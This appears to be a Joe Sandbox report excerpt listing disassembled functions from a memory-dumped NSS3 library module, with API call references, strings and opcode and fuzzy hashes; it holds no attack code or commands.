Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 732264e0a3fc8b0be7f651a391ea63f8694c01160bc1f05e981a6c1ed3c42f43
Instruction ID: 67084a6d0ffd6eb7cb15c8f73d93cc40500f3c50145d48effd8cc8ea63997f05
Opcode Fuzzy Hash: 732264e0a3fc8b0be7f651a391ea63f8694c01160bc1f05e981a6c1ed3c42f43
Instruction Fuzzy Hash: 5AF0B469F146642FE7105115DE14F8737657F1231AF4B09A0ED446BA53E605ACD086F1

Function 6CA74DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CA74E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA74E4D

Strings

API call with %s database connection pointer, xrefs: 6CA74E2A
%s at line %d of [%.10s], xrefs: 6CA74E47
misuse, xrefs: 6CA74E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA74E38
invalid, xrefs: 6CA74E25

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 09ed5d60a7e61ff079b19eb6ce8c3fd7008f4efa5725d7775f2a46d44f9e52b3
Instruction ID: 7b9feaacee3a9394bfded5d23854672e2a9c617802c10498b6554d95b88784bf
Opcode Fuzzy Hash: 09ed5d60a7e61ff079b19eb6ce8c3fd7008f4efa5725d7775f2a46d44f9e52b3
Instruction Fuzzy Hash: 6CF0E219E449286FE62050259C14FD737A67B1133AF4E84A1EA0867E92D709A8E146F1

Function 6C9BD9D0 Relevance: 12.2, APIs: 8, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(D958E852,6C9C1397,5B5F5EC0,?,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB3C
Part of subcall function 6C9BAB10: free.MOZGLUE(D958E836,?,6C9BB1EE,2404110F,?,?), ref: 6C9BAB49
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(5D5E6CBB), ref: 6C9BAB5C
Part of subcall function 6C9BAB10: free.MOZGLUE(5D5E6CAF), ref: 6C9BAB63
Part of subcall function 6C9BAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C9BAB6F
Part of subcall function 6C9BAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C9BAB76

TlsGetValue.KERNEL32(?,?,?,CE534353,?,00000007), ref: 6C9BDA10
EnterCriticalSection.KERNEL32(0000001C,?,?,?,CE534353,?,00000007), ref: 6C9BDA24
PK11_IsFriendly.NSS3(?,?,?,?,CE534353,?,00000007), ref: 6C9BDA7E
PK11_IsLoggedIn.NSS3(?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C9BDA96
PR_Unlock.NSS3(00000000,?,?,?,CE534353,?,00000007), ref: 6C9BDB17
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C9BDBFB
PR_Unlock.NSS3(00000000), ref: 6C9BDC3C
PR_Unlock.NSS3(00000000), ref: 6C9BDC69

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalSection$DeleteUnlockfree$K11_$EnterFriendlyLoggedValuememcpy
String ID:
API String ID: 3222563534-0
Opcode ID: 08cd087d6ac731c33f9c4c970ab45082c50872a80d1c0a381ba2fc99876573b5
Instruction ID: 7a0dcd4c29f69237d90f8a104fd5183a3b19d21a8c8c5831fc89f3ca559dbe69
Opcode Fuzzy Hash: 08cd087d6ac731c33f9c4c970ab45082c50872a80d1c0a381ba2fc99876573b5
Instruction Fuzzy Hash: 9191C2B6A00216ABDF04CF58D880AABB7B5FF54308F288128D9197BB45E731F955CBD1

Function 6C9A9FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9AA086
EnterCriticalSection.KERNEL32(?), ref: 6C9AA09B
PR_Unlock.NSS3(?), ref: 6C9AA0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9AA0E9
TlsGetValue.KERNEL32 ref: 6C9AA11B
EnterCriticalSection.KERNEL32(?), ref: 6C9AA12F
PR_Unlock.NSS3(?), ref: 6C9AA148

Part of subcall function 6C9C1A40: PR_Now.NSS3(?,00000000,6C9A28AD,00000000,?,6C9BF09A,00000000,6C9A28AD,6C9A93B0,?,6C9A93B0,6C9A28AD,00000000,?,00000000), ref: 6C9C1A65

Part of subcall function 6C9C1940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C9C4126,?), ref: 6C9C1966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9AA1A3

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Arena_CriticalEnterFreeSectionUnlockUtilValue$CertificateDestroy
String ID:
API String ID: 3953697463-0
Opcode ID: ddd12f62db19e83553585fbfb74b79e70a3e3f59fcfff8e896b50cebed5bbe10
Instruction ID: 009ebe737fc6c87c369b64b1df3b88146d64984b4f2f22737e41abdb702e631a
Opcode Fuzzy Hash: ddd12f62db19e83553585fbfb74b79e70a3e3f59fcfff8e896b50cebed5bbe10
Instruction Fuzzy Hash: FF51EA75A00301AFEB109FAADC44AAB77BDAF6630CB15842DDC1997701EF31D94ACA91

Function 6C9E0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C9E1444,?,00000001,?,00000000,00000000,?,?,6C9E1444,?,?,00000000,?,?), ref: 6C9E0CB3

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?,?,6C9E1444,?), ref: 6C9E0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?,?,6C9E1444,?), ref: 6C9E0DEC

Part of subcall function 6CA00F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C9A2AF5,?,?,?,?,?,6C9A0A1B,00000000), ref: 6CA00F1A
Part of subcall function 6CA00F10: malloc.MOZGLUE(00000001), ref: 6CA00F30
Part of subcall function 6CA00F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CA00F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?), ref: 6C9E0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C9E1444,?,00000001,?,00000000), ref: 6C9E0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?), ref: 6C9E0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?,?,6C9E1444,?,?,00000000), ref: 6C9E0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C9E1444,?,00000001,?,00000000,00000000,?), ref: 6C9E0E79

Part of subcall function 6C9F1560: TlsGetValue.KERNEL32(00000000,?,6C9C0844,?), ref: 6C9F157A
Part of subcall function 6C9F1560: EnterCriticalSection.KERNEL32(?,?,?,6C9C0844,?), ref: 6C9F158F
Part of subcall function 6C9F1560: PR_Unlock.NSS3(?,?,?,?,6C9C0844,?), ref: 6C9F15B2

Part of subcall function 6C9BB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C9C1397,00000000,?,6C9BCF93,5B5F5EC0,00000000,?,6C9C1397,?), ref: 6C9BB1CB
Part of subcall function 6C9BB1A0: free.MOZGLUE(5B5F5EC0,?,6C9BCF93,5B5F5EC0,00000000,?,6C9C1397,?), ref: 6C9BB1D2

Part of subcall function 6C9B89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9B88AE,-00000008), ref: 6C9B8A04
Part of subcall function 6C9B89E0: EnterCriticalSection.KERNEL32(?), ref: 6C9B8A15
Part of subcall function 6C9B89E0: memset.VCRUNTIME140(6C9B88AE,00000000,00000132), ref: 6C9B8A27
Part of subcall function 6C9B89E0: PR_Unlock.NSS3(?), ref: 6C9B8A35

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: f71742788f087a1e4e3bab703cedc7c6e87f6b49d7a7e6a9e8889196a22a3bb3
Instruction ID: 5832218ffe671adefde00b4cbce7b90cc1f5fd9c3d5b7efd973eab28aafc3720
Opcode Fuzzy Hash: f71742788f087a1e4e3bab703cedc7c6e87f6b49d7a7e6a9e8889196a22a3bb3
Instruction Fuzzy Hash: D051A5B5E002015FEB019F64EC81AAB37ACAF3921CF151064EC1997B12EB31ED5997A3

Function 6C996E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C996ED8
sqlite3_value_text.NSS3(?,?), ref: 6C996EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C996FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C996FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C996FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C997010
sqlite3_value_blob.NSS3(?,?), ref: 6C99701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C997052

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 517ce99e8b4a276e41b7f0fa9f65525de97f2dd08032e9fc89b0111b0162bfa3
Instruction ID: 155ba59e4d223eb1b238344cb213e82c9dcba32d05c574a66767f936f3459f10
Opcode Fuzzy Hash: 517ce99e8b4a276e41b7f0fa9f65525de97f2dd08032e9fc89b0111b0162bfa3
Instruction Fuzzy Hash: 8861B3B1E042098BDB40CFA5C9007EEB7B6AF55308F1C4169D416ABB51EB36DD25CBA0

Function 6CA08F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CA07313), ref: 6CA08FBB

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CA07313), ref: 6CA09012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CA07313), ref: 6CA0903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CA07313), ref: 6CA0909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CA07313), ref: 6CA090DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CA07313), ref: 6CA090F1

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CA07313), ref: 6CA0906B

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CA07313), ref: 6CA09128

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 31ab04efbb63997c0227194febaaa84ae4d3fbff837919eeb274c7a598f81e8f
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 2B519571B002018FEB509F79EE84B26B3F9AF4439CF194029E915D7B52E772E884CB91

Function 6C9B9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C9C0715), ref: 6C9B8859
Part of subcall function 6C9B8850: PR_NewLock.NSS3 ref: 6C9B8874
Part of subcall function 6C9B8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C9B888D

PR_NewLock.NSS3 ref: 6C9B9CAD

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

TlsGetValue.KERNEL32 ref: 6C9B9CE8
EnterCriticalSection.KERNEL32(?,?,6C9BECEC,6C9C2FCD,00000000,?,6C9C2FCD,?), ref: 6C9B9D01
TlsGetValue.KERNEL32(?,?,?,6C9BECEC,6C9C2FCD,00000000,?,6C9C2FCD,?), ref: 6C9B9D38
EnterCriticalSection.KERNEL32(?,?,6C9BECEC,6C9C2FCD,00000000,?,6C9C2FCD,?), ref: 6C9B9D4D
PR_Unlock.NSS3 ref: 6C9B9D70
PR_Unlock.NSS3 ref: 6C9B9DC3
PR_NewLock.NSS3 ref: 6C9B9DDD

Part of subcall function 6C9B88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C9C0725,00000000,00000058), ref: 6C9B8906
Part of subcall function 6C9B88D0: EnterCriticalSection.KERNEL32(?), ref: 6C9B891A
Part of subcall function 6C9B88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C9B894A
Part of subcall function 6C9B88D0: calloc.MOZGLUE(00000001,6C9C072D,00000000,00000000,00000000,?,6C9C0725,00000000,00000058), ref: 6C9B8959
Part of subcall function 6C9B88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C9B8993
Part of subcall function 6C9B88D0: PR_Unlock.NSS3(?), ref: 6C9B89AF

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: cb828e663fb69515d01520c5394282d21c7495a997caaa0f18daaa6387ffc9b1
Instruction ID: f8edb5f734599fab96b59d83f3517a3919a9a010e81d8392052d011eb1fe34c5
Opcode Fuzzy Hash: cb828e663fb69515d01520c5394282d21c7495a997caaa0f18daaa6387ffc9b1
Instruction Fuzzy Hash: 90518474A14706AFDB00EF69C58465BBBF4BF65348F16852CE858EBB10DB30E884CB91

Function 6CAB9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CAB9EC0
EnterCriticalSection.KERNEL32(?), ref: 6CAB9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB9F73
EnterCriticalSection.KERNEL32(?), ref: 6CAB9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CAB9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CABA01D

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: 6f01c2097cf4cf8210d755d9e40900cc44105923f45ab6831da09d5533f239f0
Instruction ID: 24a1fc283d4035995b5ebc200dec349b528f02992890d94cc4e32f85be549e65
Opcode Fuzzy Hash: 6f01c2097cf4cf8210d755d9e40900cc44105923f45ab6831da09d5533f239f0
Instruction Fuzzy Hash: 9751A0B2800601CBCB20DF36D68464AB7F8FF18319F19856AD85967F12E735E8C9CB91

Function 6C9E88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C9E88FC

Part of subcall function 6C9FBE30: SECOID_FindOID_Util.NSS3(6C9B311B,00000000,?,6C9B311B,?), ref: 6C9FBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C9E8913

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CACD864,?), ref: 6C9E8947

Part of subcall function 6C9FE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C9FE245
Part of subcall function 6C9FE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C9FE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C9E895B
DER_GetInteger_Util.NSS3(?), ref: 6C9E8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9E8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C9E89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C9E8A12

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: a2e444d7c9d845699649becccfb33ec5c6593f8f0d8cf267b07792a6f46973d8
Instruction ID: be96034bc6b43c490067fb80e7288aac74fd6ba0416ea13d33fdada77dd7e3e3
Opcode Fuzzy Hash: a2e444d7c9d845699649becccfb33ec5c6593f8f0d8cf267b07792a6f46973d8
Instruction Fuzzy Hash: C0319BB1E0420053F71A46BDAC417AA329C9FB835CF240737D929D7B81FB32C44A8287

Function 6C9C4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9C4E90
EnterCriticalSection.KERNEL32 ref: 6C9C4EA9
TlsGetValue.KERNEL32 ref: 6C9C4EC6
EnterCriticalSection.KERNEL32 ref: 6C9C4EDF
PL_HashTableLookup.NSS3 ref: 6C9C4EF8
PR_Unlock.NSS3 ref: 6C9C4F05
PR_Now.NSS3 ref: 6C9C4F13
PR_Unlock.NSS3 ref: 6C9C4F3A

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

